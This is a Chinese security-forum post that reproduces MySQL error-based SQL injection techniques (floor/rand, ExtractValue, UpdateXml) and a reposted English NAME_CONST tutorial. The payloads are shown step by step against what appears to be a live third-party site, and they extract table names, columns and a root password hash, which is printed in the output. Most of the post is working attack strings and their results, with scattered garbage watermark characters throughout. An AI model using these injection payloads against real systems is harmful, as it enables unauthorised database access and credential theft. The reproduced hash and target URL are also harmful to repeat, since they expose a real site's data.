找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2970|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
; j' e" q' E3 ]2 t1 ^* L# L首先进行正常查询:

mysql> select * from article where id = 1;$ F# |! l6 Q" {: k3 q6 |- r; N
+—-+——-+———+5 U2 P. u0 k. @8 J* M+ l6 V
| id | title | content |
' H' S: i. X" I2 ^+—-+——-+———+( C) F# r' h- K. n7 x% P- W
|  1 | test  | do it   |
9 {- T: N. S6 p, t0 O* Z% W+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);2 }3 v" U- N  u' R( d6 R  s' l
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
4 p+ ]0 k( k# ?4 p$ _* ~2 f例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
5 [3 Y$ H, j$ W* m, W% \ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));, r9 _1 _. l% Z* `4 N
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue- _: J% |+ S" V3 h
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–3 C. O: P6 e* {' s5 D2 D
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


+ u5 {/ Z7 |2 y' G
2 \/ b! v4 s0 ^9 r

再收集:

6 N5 _7 ]9 H# P$ b
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) & l) A0 O3 a2 ]9 Q. L; e

8 Q* y/ O1 |  {" dErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
1 Q4 E5 A  Z7 a6 h- T+ B) U. ~* W  x0 I) d* I8 M& S
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)0 K4 C) n, C6 w
% X* x3 J+ K- L; I) Y$ w4 n) ^
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
! F& d/ A' K! Y7 o  C
/ g( d8 f) u' J' ~* BMYSQL高版本报错注入技巧-利用NAME_CONST注入. U4 _  p. m0 A/ Q1 _! q, j
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. 2 R' M! {- L+ L- p: ]
2 G: a+ k8 q5 Z; S# D5 E

, F6 V4 ^7 Z. r! Z" `) G- m; Y相关信息
% e- E7 \( n" e7 C$ [2 {. O5 p2 x) P2 @
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.8 F) P/ n# M- B! B8 N
6 D, K4 L) [6 T0 ]
Code:# t# K% S) O3 u# F
NAME_CONST(DATA, VALUE)8 J; Z0 G8 U3 i1 Y7 l. B
* `$ m6 e* c/ u& P$ ]% L8 p: d
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.' }: s( a; V) G% ~- [; @1 e; h
, m0 c8 a+ F) s$ W7 d5 u
SELECT NAME_CONST('TEST', 1)
' D4 @5 k8 J: R0 i5 t0 g# ^/ P' c( v3 @. x: ?
- |/ s) E3 E6 w2 n! G9 D
  m& p& p% h! b+ x# h( {) B
|---------------|0 S- w3 M$ ]* p! \; b6 A
|     TEST      |
( ?1 [* p( V8 A; g9 n0 h" u+ w|               |
4 E9 c' b9 t. j|---------------|
7 X4 ]- f0 y  K% O|       1       |5 x# s1 M3 u5 c
|               |
, N, [1 K# s9 i9 x- \" m|---------------|
3 E0 I! U" F; z  R5 k

2 n  G4 d7 Q! o( D! h, l1 I# w& Y/ ?! v6 }' \, ?: N
( z- z* |6 d# O$ \) ?
8 h4 V- r- ?9 _5 h, n" ?5 _. ^
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
( J3 i: f  S) x# B' fIntro to MySQL Variables
$ _# V5 ~1 N6 o! B" ?0 i) A) Z7 z1 S9 p$ ^( U
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.& k$ {1 F  x5 I) B: v

; P# O1 }$ V1 B5 O3 UCode:* b  \. f. x0 i  |0 {, `2 y- y. d
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261( b3 W* _0 L& |' `; @9 A, l
& [8 M! ^9 Z: Y
/ n4 B# l. d2 ^' }. d
% q: q6 b; ~0 Y9 _7 H7 A' a4 Z

. s0 `/ U% d& l; S  s  r# [% u3 ~0 e9 |
Code:
# e% I8 H! S7 aand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--% }- U* _7 |  y- i# [
8 p! i1 I0 x6 o7 w- P
; w4 W5 S3 q, S" z0 V" K
VAR = Your MySQL variable.8 f! N( a: h1 u; Z( A4 y
& K" S, P$ Y$ _! d' N  \
MySQL 5.1.3 Server System Variables( a/ d9 m2 c/ h7 m

$ O% O+ M+ }! K9 L2 ~& k# ULet's try it out on my site..; ]0 L% Y( U: o1 a1 x
$ V$ [5 v' A4 `) T- y
Code:
: {# U1 \& _$ {http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
! [6 ^+ `8 Z( t1 P$ l9 U" O, q" n3 _' e( h8 E1 r! D; J
Erroruplicate column name '5.0.27-community-nt'
- U: s% O9 {  B
  Q# A* A. N  ^! I0 l" i

' l; F) R7 j, h, j% T
4 r" g: d! Y; d- L3 g
2 l5 z. u$ V  S" p
6 l) F! c) j/ {% y! V9 n$ O# X! \
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...  n$ `& f$ h7 m

1 L& [' o0 ?& Z  B+ W* F+ WData Extraction" D- t  n# k: r- e+ q) r) u. c# ?4 O7 L# ]

/ H0 d4 N2 }' l. O, }' N# PCode:
. R4 K4 }! m0 v: Q! u3 \1 i/ e+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--! j& B5 P2 G! g% v7 d
' h' i/ x( w* o6 d, r9 w
9 T- h* j6 N) x; a/ J# K
We should get a duplicate column 1 error...
' n$ X5 X. f) T& T* U4 l4 n* J4 g- m6 C
Code:
. @& X3 }  n$ r5 S$ [http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
2 K' W& \' Z% {: H" I
9 {. F* P  x$ V0 S- IErroruplicate column name '1! g: q$ W6 G$ u. ^

  i8 \3 Y& Z- _) E
4 }- P, A" d. `1 o# X& S5 j2 z4 k
! N* }5 s' b* R. v- q7 y! l

' b' H; ?, Y/ \7 S$ Z: q2 c" Q" J9 U8 |! J. P$ m9 u- w
Now let's get the tables out this bitch..
# z, S7 Q; l% G' \
3 [9 W0 F) @. ~: f: @( UCode:" T  F5 j) T8 G
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--7 u. \7 z  J/ G3 M% L

* t' @6 a/ l. A6 q7 }, u: L. F+ E+ X3 N2 P0 m
Let's see if it works here, if it does, we can go on and finish the job.
" O0 u5 z" f  t6 v2 W! p+ i) L1 b" ~/ j; K
Code:
( N8 b/ C& q# n& w! U5 Ehttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--* H6 K7 E+ o) f% a+ ]# F
9 j$ g0 u6 @5 U. d8 N

7 t% I% y6 R- b+ z4 lErroruplicate column name 'com_admanage" H0 ?+ m; ~, o& A$ r9 d
# l! ]: C# z, M8 z

' h; z8 K& A2 ^7 w" n
5 [9 a% m& T' }5 N
7 u9 O5 l, q/ y6 v

3 G) s: i+ g: w5 h8 I5 F1 ~3 J: A+ n  C' y
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.6 `" X6 t. M2 _- A

/ l- q/ K+ t, B; |( _; O. {Let's get the columns out of the user table..; |$ Y  S, G  L
) _, x0 I) p' v7 D
Code:+ Q( i) k3 ~% i, U
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
# H' n. z: O. q. @$ |9 f' ^

- T* y( n3 J( {: R6 P, K& y
% A" Z9 e  L6 `8 V; J# V& kSo mine looks like this, and I get the duplicate column name 'Host'.
% Y8 p% r- a% V# W% N
9 a9 ^2 c" Z+ U( F1 N1 W9 eCode:
( Z+ I" n4 T1 I( J$ C& U' Lhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--: I* A4 F, V% v  P
! G6 b1 e0 }8 f. c
Erroruplicate column name 'Host'
+ K( s" d$ f8 m  M* N
; d7 B" n1 Q* j/ ]+ j
7 J: U9 U- e; ?8 g0 \3 m$ L

) I- j# H0 Q* q" A; q9 v& c
* _: z9 L! A. S6 V1 \

, f4 U4 j% }9 ]$ |! L1 f& k5 g. I  n; [+ @: K' B, |2 J
Woot, time to finish this bitch off.
! k* p0 s  s9 u, o( g. x) d" P4 H+ o& w, H
Code:7 u# D0 R7 p) X: g
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--  Y1 f2 b3 }% h9 z

; d/ u1 \. S$ D) t5 c5 d
" V$ X& v/ b; p' |So mine looks like this...- H* L' w  c. `4 W$ R0 p; S

3 J+ ?3 b9 [; b" V3 \Code:: F! ^1 F7 m; }
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--, H, z) h7 ~$ |. W3 \2 I# w
2 `2 Y* [' c: y% @& F/ `% g6 u
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
4 |4 x/ v2 i$ C8 W! B% ~& _6 J: u* `
& q7 ~+ I& G1 i" }; H/ N4 ?0 H

; y. V" M7 ~& E2 \  Z# V+ e( P
/ Y" g- A5 ^3 X9 c$ P/ ]( M  v4 n, D6 H- c" @1 a6 N3 J
% ?5 g, {- h' s+ m+ a

, h0 i* F. N. T9 QAnd there we have it, thanks for reading.

" E: w; v! B7 X& r
2 x% ^+ k" B1 Z4 l* e1 g1 v& P7 R
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表